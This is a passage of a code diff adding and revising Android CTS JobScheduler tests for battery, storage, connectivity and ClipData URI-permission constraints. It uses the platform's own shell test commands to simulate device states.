diff --git a/tests/JobScheduler/src/android/jobscheduler/TriggerContentJobService.java b/tests/JobScheduler/src/android/jobscheduler/TriggerContentJobService.java
index d87f1a7..d4ad1c8 100644
--- a/tests/JobScheduler/src/android/jobscheduler/TriggerContentJobService.java
+++ b/tests/JobScheduler/src/android/jobscheduler/TriggerContentJobService.java
@@ -47,12 +47,17 @@
     JobParameters mRunningParams;
 
     final Handler mHandler = new Handler();
-    final Runnable mWorker = new Runnable() {
+    final Runnable mWorkerReschedule = new Runnable() {
         @Override public void run() {
             scheduleJob(TriggerContentJobService.this, mRunningJobInfo);
             jobFinished(mRunningParams, false);
         }
     };
+    final Runnable mWorkerFinishTrue = new Runnable() {
+        @Override public void run() {
+            jobFinished(mRunningParams, true);
+        }
+    };
 
     public static void scheduleJob(Context context, JobInfo jobInfo) {
         JobScheduler js = context.getSystemService(JobScheduler.class);
@@ -74,9 +79,13 @@
         TestEnvironment.getTestEnvironment().setMode(TestEnvironment.MODE_ONESHOT, null);
         TestEnvironment.getTestEnvironment().notifyExecution(params);
 
-        if (mode == TestEnvironment.MODE_ONE_REPEAT) {
+        if (mode == TestEnvironment.MODE_ONE_REPEAT_RESCHEDULE) {
             mRunningParams = params;
-            mHandler.postDelayed(mWorker, REPEAT_INTERVAL);
+            mHandler.postDelayed(mWorkerReschedule, REPEAT_INTERVAL);
+            return true;
+        } else if (mode == TestEnvironment.MODE_ONE_REPEAT_FINISH_TRUE) {
+            mRunningParams = params;
+            mHandler.postDelayed(mWorkerFinishTrue, REPEAT_INTERVAL);
             return true;
         } else {
             return false;  // No work to do.
@@ -104,7 +113,8 @@
         private JobInfo mModeJobInfo;
 
         public static final int MODE_ONESHOT = 0;
-        public static final int MODE_ONE_REPEAT = 1;
+        public static final int MODE_ONE_REPEAT_RESCHEDULE = 1;
+        public static final int MODE_ONE_REPEAT_FINISH_TRUE = 2;
 
         public static TestEnvironment getTestEnvironment() {
             if (kTestEnvironment == null) {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
new file mode 100644
index 0000000..65cd02b
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/BatteryConstraintTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+
+import android.Manifest;
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+import android.net.wifi.WifiManager;
+import android.os.SystemClock;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Schedules jobs with the {@link android.app.job.JobScheduler} that have battery constraints.
+ */
+@TargetApi(26)
+public class BatteryConstraintTest extends ConstraintTest {
+    private static final String TAG = "BatteryConstraintTest";
+
+    /** Unique identifier for the job scheduled by this suite of tests. */
+    public static final int BATTERY_JOB_ID = BatteryConstraintTest.class.hashCode();
+
+    private JobInfo.Builder mBuilder;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mBuilder = new JobInfo.Builder(BATTERY_JOB_ID, kJobServiceComponent);
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler monitor-battery on");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mJobScheduler.cancel(BATTERY_JOB_ID);
+        // Put battery service back in to normal operation.
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler monitor-battery off");
+        SystemUtil.runShellCommand(getInstrumentation(), "cmd battery reset");
+    }
+
+    void setBatteryState(boolean plugged, int level) throws Exception {
+        if (plugged) {
+            SystemUtil.runShellCommand(getInstrumentation(), "cmd battery set ac 1");
+        } else {
+            SystemUtil.runShellCommand(getInstrumentation(), "cmd battery unplug");
+        }
+        int seq = Integer.parseInt(SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd battery set -f level " + level).trim());
+        long startTime = SystemClock.elapsedRealtime();
+
+        // Wait for the battery update to be processed by job scheduler before proceeding.
+        int curSeq;
+        boolean curCharging;
+        do {
+            Thread.sleep(50);
+            curSeq = Integer.parseInt(SystemUtil.runShellCommand(getInstrumentation(),
+                    "cmd jobscheduler get-battery-seq").trim());
+            // The job scheduler actually looks at the charging/discharging state,
+            // which is currently determined by battery stats in response to the low-level
+            // plugged/unplugged events.  So we can get this updated after the last seq
+            // is received, so we need to make sure that has correctly changed.
+            curCharging = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
+                    "cmd jobscheduler get-battery-charging").trim());
+            if (curSeq == seq && curCharging == plugged) {
+                return;
+            }
+        } while ((SystemClock.elapsedRealtime()-startTime) < 5000);
+
+        fail("Timed out waiting for job scheduler: expected seq=" + seq + ", cur=" + curSeq
+                + ", plugged=" + plugged + " curCharging=" + curCharging);
+    }
+
+    void verifyChargingState(boolean charging) throws Exception {
+        boolean curCharging = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd jobscheduler get-battery-charging").trim());
+        assertEquals(charging, curCharging);
+    }
+
+    void verifyBatteryNotLowState(boolean notLow) throws Exception {
+        boolean curNotLow = Boolean.parseBoolean(SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd jobscheduler get-battery-not-low").trim());
+        assertEquals(notLow, curNotLow);
+    }
+
+    String getJobState() throws Exception {
+        return getJobState(BATTERY_JOB_ID);
+    }
+
+    void assertJobReady() throws Exception {
+        assertJobReady(BATTERY_JOB_ID);
+    }
+
+    void assertJobWaiting() throws Exception {
+        assertJobWaiting(BATTERY_JOB_ID);
+    }
+
+    void assertJobNotReady() throws Exception {
+        assertJobNotReady(BATTERY_JOB_ID);
+    }
+
+    // --------------------------------------------------------------------------------------------
+    // Positives - schedule jobs under conditions that require them to pass.
+    // --------------------------------------------------------------------------------------------
+
+    /**
+     * Schedule a job that requires the device is charging, when the battery reports it is
+     * plugged in.
+     */
+    public void testChargingConstraintExecutes() throws Exception {
+        setBatteryState(true, 100);
+        verifyChargingState(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresCharging(true).build());
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+
+        assertTrue("Job with charging constraint did not fire on power.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule a job that requires the device is not critical, when the battery reports it is
+     * plugged in.
+     */
+    public void testBatteryNotLowConstraintExecutes_withPower() throws Exception {
+        setBatteryState(true, 100);
+        verifyChargingState(true);
+        verifyBatteryNotLowState(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresBatteryNotLow(true).build());
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+
+        assertTrue("Job with battery not low constraint did not fire on power.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule a job that requires the device is not critical, when the battery reports it is
+     * not plugged in but has sufficient power.
+     */
+    public void testBatteryNotLowConstraintExecutes_withoutPower() throws Exception {
+        setBatteryState(false, 100);
+        verifyChargingState(false);
+        verifyBatteryNotLowState(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresBatteryNotLow(true).build());
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+
+        assertTrue("Job with battery not low constraint did not fire on power.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    // --------------------------------------------------------------------------------------------
+    // Negatives - schedule jobs under conditions that require that they fail.
+    // --------------------------------------------------------------------------------------------
+
+    /**
+     * Schedule a job that requires the device is charging, and assert if failed when
+     * the device is not on power.
+     */
+    public void testChargingConstraintFails() throws Exception {
+        setBatteryState(false, 100);
+        verifyChargingState(false);
+
+        kTestEnvironment.setExpectedExecutions(0);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresCharging(true).build());
+        assertJobWaiting();
+        assertJobNotReady();
+        kTestEnvironment.readyToRun();
+
+        assertFalse("Job with charging constraint fired while not on power.",
+                kTestEnvironment.awaitExecution(250));
+        assertJobWaiting();
+        assertJobNotReady();
+
+        // Ensure the job runs once the device is plugged in.
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        kTestEnvironment.setContinueAfterStart();
+        setBatteryState(true, 100);
+        verifyChargingState(true);
+        kTestEnvironment.setExpectedStopped();
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+        assertTrue("Job with charging constraint did not fire on power.",
+                kTestEnvironment.awaitExecution());
+
+        // And check that the job is stopped if the device is unplugged while it is running.
+        setBatteryState(false, 100);
+        verifyChargingState(false);
+        assertTrue("Job with charging constraint did not stop when power removed.",
+                kTestEnvironment.awaitStopped());
+    }
+
+    /**
+     * Schedule a job that requires the device is not critical, and assert it failed when
+     * the battery level is critical and not on power.
+     */
+    public void testBatteryNotLowConstraintFails_withoutPower() throws Exception {
+        setBatteryState(false, 15);
+        verifyChargingState(false);
+        verifyBatteryNotLowState(false);
+
+        kTestEnvironment.setExpectedExecutions(0);
+        kTestEnvironment.setExpectedWaitForRun();
+        mJobScheduler.schedule(mBuilder.setRequiresBatteryNotLow(true).build());
+        assertJobWaiting();
+        assertJobNotReady();
+        kTestEnvironment.readyToRun();
+
+        assertFalse("Job with battery not low constraint fired while level critical.",
+                kTestEnvironment.awaitExecution(250));
+        assertJobWaiting();
+        assertJobNotReady();
+
+        // Ensure the job runs once the device's battery level is not low.
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setExpectedWaitForRun();
+        kTestEnvironment.setContinueAfterStart();
+        setBatteryState(false, 50);
+        verifyChargingState(false);
+        verifyBatteryNotLowState(true);
+        kTestEnvironment.setExpectedStopped();
+        assertJobReady();
+        kTestEnvironment.readyToRun();
+        assertTrue("Job with not low constraint did not fire when charge increased.",
+                kTestEnvironment.awaitExecution());
+
+        // And check that the job is stopped if battery goes low again.
+        setBatteryState(false, 15);
+        setBatteryState(false, 14);
+        verifyChargingState(false);
+        verifyBatteryNotLowState(false);
+        assertTrue("Job with not low constraint did not stop when battery went low.",
+                kTestEnvironment.awaitStopped());
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java
new file mode 100644
index 0000000..03d941e
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ClipDataJobTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.content.ContentProviderClient;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Process;
+
+/**
+ * Schedules jobs with the {@link android.app.job.JobScheduler} that grant permissions through
+ * ClipData.
+ */
+@TargetApi(26)
+public class ClipDataJobTest extends ConstraintTest {
+    private static final String TAG = "ClipDataJobTest";
+
+    /** Unique identifier for the job scheduled by this suite of tests. */
+    public static final int CLIP_DATA_JOB_ID = ClipDataJobTest.class.hashCode();
+
+    JobInfo.Builder mBuilder;
+    private ContentProviderClient mProvider;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mBuilder = new JobInfo.Builder(CLIP_DATA_JOB_ID, kJobServiceComponent);
+        mProvider = getContext().getContentResolver().acquireContentProviderClient(mFirstUri);
+        assertNotNull(mProvider);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        mProvider.close();
+        mJobScheduler.cancel(CLIP_DATA_JOB_ID);
+    }
+
+    /**
+     * Test basic granting of URI permissions associated with jobs.
+     */
+    public void testClipDataGrant() throws Exception {
+        // Start out with storage low, so job is enqueued but not executed yet.
+        setStorageState(true);
+
+        // We need to get a permission grant so that we can grant it to ourself.
+        mProvider.call("grant", MY_PACKAGE, mFirstUriBundle);
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+
+        // Schedule the job, the system should now also be holding a URI grant for us.
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setRequiresStorageNotLow(true)
+                .setClipData(mFirstClipData, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION).build());
+
+        // Remove the explicit grant, we should still have a grant due to the job.
+        mProvider.call("revoke", MY_PACKAGE, mFirstUriBundle);
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+
+        // Now allow the job to run and wait for it.
+        setStorageState(false);
+        assertTrue("Job with storage not low constraint did not fire when storage not low.",
+                kTestEnvironment.awaitExecution());
+
+        // Make sure the job still had the permission granted.
+        assertEquals(PackageManager.PERMISSION_GRANTED, kTestEnvironment.getLastPermCheckRead());
+        assertEquals(PackageManager.PERMISSION_GRANTED, kTestEnvironment.getLastPermCheckWrite());
+
+        // And wait for everything to be cleaned up.
+        waitPermissionRevoke(mFirstUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
+    }
+
+    /**
+     * Test that we correctly fail when trying to grant permissions to things we don't
+     * have access to.
+     */
+    public void testClipDataGrant_Failed() throws Exception {
+        try {
+            mJobScheduler.schedule(mBuilder.setRequiresStorageNotLow(true)
+                    .setClipData(mFirstClipData, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                            | Intent.FLAG_GRANT_WRITE_URI_PERMISSION).build());
+        } catch (SecurityException e) {
+            return;
+        }
+
+        fail("Security exception not thrown");
+    }
+
+    /**
+     * Test basic granting of URI permissions associated with jobs and are correctly
+     * retained when rescheduling the job.
+     */
+    public void testClipDataGrantReschedule() throws Exception {
+        // We need to get a permission grant so that we can grant it to ourself.
+        mProvider.call("grant", MY_PACKAGE, mFirstUriBundle);
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+
+        // Schedule the job, the system should now also be holding a URI grant for us.
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(60*60*1000)
+                .setClipData(mFirstClipData, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION).build());
+
+        // Remove the explicit grant, we should still have a grant due to the job.
+        mProvider.call("revoke", MY_PACKAGE, mFirstUriBundle);
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+        assertEquals(PackageManager.PERMISSION_GRANTED,
+                getContext().checkUriPermission(mFirstUri, Process.myPid(),
+                        Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+
+        // Now reschedule the job to have it happen right now.
+        mJobScheduler.schedule(mBuilder.setMinimumLatency(0)
+                .setClipData(mFirstClipData, Intent.FLAG_GRANT_READ_URI_PERMISSION
+                        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION).build());
+        assertTrue("Job with storage not low constraint did not fire when storage not low.",
+                kTestEnvironment.awaitExecution());
+
+        // Make sure the job still had the permission granted.
+        assertEquals(PackageManager.PERMISSION_GRANTED, kTestEnvironment.getLastPermCheckRead());
+        assertEquals(PackageManager.PERMISSION_GRANTED, kTestEnvironment.getLastPermCheckWrite());
+
+        // And wait for everything to be cleaned up.
+        waitPermissionRevoke(mFirstUri, Intent.FLAG_GRANT_WRITE_URI_PERMISSION, 5000);
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index a7c7003..c08b249 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -75,22 +75,25 @@
 
     @Override
     public void tearDown() throws Exception {
+        mJobScheduler.cancel(CONNECTIVITY_JOB_ID);
+
         // Ensure that we leave WiFi in its previous state.
         if (mWifiManager.isWifiEnabled() == mInitialWiFiState) {
             return;
         }
         NetworkInfo.State expectedState = mInitialWiFiState ?
-            NetworkInfo.State.CONNECTED : NetworkInfo.State.DISCONNECTED;
+                NetworkInfo.State.CONNECTED : NetworkInfo.State.DISCONNECTED;
         ConnectivityActionReceiver receiver =
-            new ConnectivityActionReceiver(ConnectivityManager.TYPE_WIFI,
-                                           expectedState);
+                new ConnectivityActionReceiver(ConnectivityManager.TYPE_WIFI,
+                        expectedState);
         IntentFilter filter = new IntentFilter();
         filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
         mContext.registerReceiver(receiver, filter);
 
         assertTrue(mWifiManager.setWifiEnabled(mInitialWiFiState));
-        assertTrue("Failure to restore previous WiFi state.",
-                    receiver.waitForStateChange());
+        receiver.waitForStateChange();
+        assertTrue("Failure to restore previous WiFi state",
+                mWifiManager.isWifiEnabled() == mInitialWiFiState);
 
         mContext.unregisterReceiver(receiver);
     }
@@ -143,8 +146,8 @@
     }
 
     /**
-     * Schedule a job with a connectivity constraint, and ensure that it executes on on a mobile
-     * data connection.
+     * Schedule a job with a generic connectivity constraint, and ensure that it executes
+     * on a cellular data connection.
      */
     public void testConnectivityConstraintExecutes_withMobile() throws Exception {
         if (!checkDeviceSupportsMobileData()) {
@@ -163,6 +166,26 @@
                 kTestEnvironment.awaitExecution());
     }
 
+    /**
+     * Schedule a job with a metered connectivity constraint, and ensure that it executes
+     * on a mobile data connection.
+     */
+    public void testConnectivityConstraintExecutes_metered() throws Exception {
+        if (!checkDeviceSupportsMobileData()) {
+            return;
+        }
+        disconnectWifiToConnectToMobile();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
+                        .build());
+
+        sendExpediteStableChargingBroadcast();
+        assertTrue("Job with metered connectivity constraint did not fire on mobile.",
+                kTestEnvironment.awaitExecution());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Negatives - schedule jobs under conditions that require that they fail.
     // --------------------------------------------------------------------------------------------
@@ -190,6 +213,37 @@
     }
 
     /**
+     * Schedule a job that requires a metered connection, and verify that it does not run when
+     * the device is connected to a WiFi provider.
+     * This test assumes that if the device supports a mobile data connection, then this connection
+     * will be available.
+     */
+    public void testMeteredConstraintFails_withWiFi() throws Exception {
+        if (!mHasWifi) {
+            Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        connectToWiFi();
+
+        kTestEnvironment.setExpectedExecutions(0);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
+                        .build());
+        sendExpediteStableChargingBroadcast();
+
+        assertTrue("Job requiring metered connectivity still executed on WiFi.",
+                kTestEnvironment.awaitTimeout());
+    }
+
+    // --------------------------------------------------------------------------------------------
+    // Utility methods
+    // --------------------------------------------------------------------------------------------
+
+    /**
      * Determine whether the device running these CTS tests should be subject to tests involving
      * mobile data.
      * @return True if this device will support a mobile data connection.
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
index 35903d7..f3a895e 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConstraintTest.java
@@ -16,19 +16,31 @@
 package android.jobscheduler.cts;
 
 import android.annotation.TargetApi;
+import android.app.Instrumentation;
 import android.app.job.JobScheduler;
+import android.content.ClipData;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.jobscheduler.MockJobService;
 import android.jobscheduler.TriggerContentJobService;
-import android.test.AndroidTestCase;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.os.SystemClock;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
 
 /**
  * Common functionality from which the other test case classes derive.
  */
 @TargetApi(21)
-public abstract class ConstraintTest extends AndroidTestCase {
+public abstract class ConstraintTest extends InstrumentationTestCase {
     /** Force the scheduler to consider the device to be on stable charging. */
     private static final Intent EXPEDITE_STABLE_CHARGING =
             new Intent("com.android.server.task.controllers.BatteryController.ACTION_CHARGING_STABLE");
@@ -43,18 +55,70 @@
     static ComponentName kTriggerContentServiceComponent;
     JobScheduler mJobScheduler;
 
+    Context mContext;
+
+    static final String MY_PACKAGE = "android.jobscheduler.cts";
+
+    static final String JOBPERM_PACKAGE = "android.jobscheduler.cts.jobperm";
+    static final String JOBPERM_AUTHORITY = "android.jobscheduler.cts.jobperm.provider";
+    static final String JOBPERM_PERM = "android.jobscheduler.cts.jobperm.perm";
+
+    Uri mFirstUri;
+    Bundle mFirstUriBundle;
+    Uri mSecondUri;
+    Bundle mSecondUriBundle;
+    ClipData mFirstClipData;
+    ClipData mSecondClipData;
+
+    boolean mStorageStateChanged;
+
+    @Override
+    public void injectInstrumentation(Instrumentation instrumentation) {
+        super.injectInstrumentation(instrumentation);
+        mContext = instrumentation.getContext();
+        kJobServiceComponent = new ComponentName(getContext(), MockJobService.class);
+        kTriggerContentServiceComponent = new ComponentName(getContext(),
+                TriggerContentJobService.class);
+        mJobScheduler = (JobScheduler) getContext().getSystemService(Context.JOB_SCHEDULER_SERVICE);
+        mFirstUri = Uri.parse("content://" + JOBPERM_AUTHORITY + "/protected/foo");
+        mFirstUriBundle = new Bundle();
+        mFirstUriBundle.putParcelable("uri", mFirstUri);
+        mSecondUri = Uri.parse("content://" + JOBPERM_AUTHORITY + "/protected/bar");
+        mSecondUriBundle = new Bundle();
+        mSecondUriBundle.putParcelable("uri", mSecondUri);
+        mFirstClipData = new ClipData("JobPerm1", new String[] { "application/*" },
+                new ClipData.Item(mFirstUri));
+        mSecondClipData = new ClipData("JobPerm2", new String[] { "application/*" },
+                new ClipData.Item(mSecondUri));
+        try {
+            SystemUtil.runShellCommand(getInstrumentation(), "cmd activity set-inactive "
+                    + mContext.getPackageName() + " false");
+        } catch (IOException e) {
+            Log.w("ConstraintTest", "Failed setting inactive false", e);
+        }
+    }
+
+    public Context getContext() {
+        return mContext;
+    }
+
     @Override
     public void setUp() throws Exception {
         super.setUp();
         kTestEnvironment.setUp();
         kTriggerTestEnvironment.setUp();
-        kJobServiceComponent = new ComponentName(getContext(), MockJobService.class);
-        kTriggerContentServiceComponent = new ComponentName(getContext(),
-                TriggerContentJobService.class);
-        mJobScheduler = (JobScheduler) getContext().getSystemService(Context.JOB_SCHEDULER_SERVICE);
         mJobScheduler.cancelAll();
     }
 
+    @Override
+    public void tearDown() throws Exception {
+        if (mStorageStateChanged) {
+            // Put storage service back in to normal operation.
+            SystemUtil.runShellCommand(getInstrumentation(), "cmd devicestoragemonitor reset");
+            mStorageStateChanged = false;
+        }
+    }
+
     /**
      * The scheduler will usually only flush its queue of unexpired jobs when the device is
      * considered to be on stable power - that is, plugged in for a period of 2 minutes.
@@ -63,4 +127,79 @@
     protected void sendExpediteStableChargingBroadcast() {
         getContext().sendBroadcast(EXPEDITE_STABLE_CHARGING);
     }
+
+    public void assertHasUriPermission(Uri uri, int grantFlags) {
+        if ((grantFlags&Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
+            assertEquals(PackageManager.PERMISSION_GRANTED,
+                    getContext().checkUriPermission(uri, Process.myPid(),
+                            Process.myUid(), Intent.FLAG_GRANT_READ_URI_PERMISSION));
+        }
+        if ((grantFlags&Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) {
+            assertEquals(PackageManager.PERMISSION_GRANTED,
+                    getContext().checkUriPermission(uri, Process.myPid(),
+                            Process.myUid(), Intent.FLAG_GRANT_WRITE_URI_PERMISSION));
+        }
+    }
+
+    void waitPermissionRevoke(Uri uri, int access, long timeout) {
+        long startTime = SystemClock.elapsedRealtime();
+        while (getContext().checkUriPermission(uri, Process.myPid(), Process.myUid(), access)
+                != PackageManager.PERMISSION_DENIED) {
+            try {
+                Thread.sleep(50);
+            } catch (InterruptedException e) {
+            }
+            if ((SystemClock.elapsedRealtime()-startTime) >= timeout) {
+                fail("Timed out waiting for permission revoke");
+            }
+        }
+    }
+
+    // Note we are just using storage state as a way to control when the job gets executed.
+    void setStorageState(boolean low) throws Exception {
+        mStorageStateChanged = true;
+        String res;
+        if (low) {
+            res = SystemUtil.runShellCommand(getInstrumentation(),
+                    "cmd devicestoragemonitor force-low -f");
+        } else {
+            res = SystemUtil.runShellCommand(getInstrumentation(),
+                    "cmd devicestoragemonitor force-not-low -f");
+        }
+        int seq = Integer.parseInt(res.trim());
+        long startTime = SystemClock.elapsedRealtime();
+
+        // Wait for the storage update to be processed by job scheduler before proceeding.
+        int curSeq;
+        do {
+            curSeq = Integer.parseInt(SystemUtil.runShellCommand(getInstrumentation(),
+                    "cmd jobscheduler get-storage-seq").trim());
+            if (curSeq == seq) {
+                return;
+            }
+        } while ((SystemClock.elapsedRealtime()-startTime) < 1000);
+
+        fail("Timed out waiting for job scheduler: expected seq=" + seq + ", cur=" + curSeq);
+    }
+
+    String getJobState(int jobId) throws Exception {
+        return SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd jobscheduler get-job-state " + kJobServiceComponent.getPackageName()
+                        + " " + jobId).trim();
+    }
+
+    void assertJobReady(int jobId) throws Exception {
+        String state = getJobState(jobId);
+        assertTrue("Job unexpectedly not ready, in state: " + state, state.contains("ready"));
+    }
+
+    void assertJobWaiting(int jobId) throws Exception {
+        String state = getJobState(jobId);
+        assertTrue("Job unexpectedly not waiting, in state: " + state, state.contains("waiting"));
+    }
+
+    void assertJobNotReady(int jobId) throws Exception {
+        String state = getJobState(jobId);
+        assertTrue("Job unexpectedly ready, in state: " + state, !state.contains("ready"));
+    }
 }
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
new file mode 100644
index 0000000..6d2599f
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/EnqueueJobWorkTest.java
@@ -0,0 +1,296 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.annotation.TargetApi;
+import android.app.job.JobInfo;
+import android.app.job.JobWorkItem;
+import android.content.ContentProviderClient;
+import android.content.Intent;
+import android.jobscheduler.MockJobService.TestWorkItem;
+import android.net.Uri;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.util.ArrayList;
+
+/**
+ * Schedules jobs with the {@link android.app.job.JobScheduler} by enqueue work in to
+ * them and processing it.
+ */
+@TargetApi(26)
+public class EnqueueJobWorkTest extends ConstraintTest {
+    private static final String TAG = "ClipDataJobTest";
+
+    /** Unique identifier for the job scheduled by this suite of tests. */
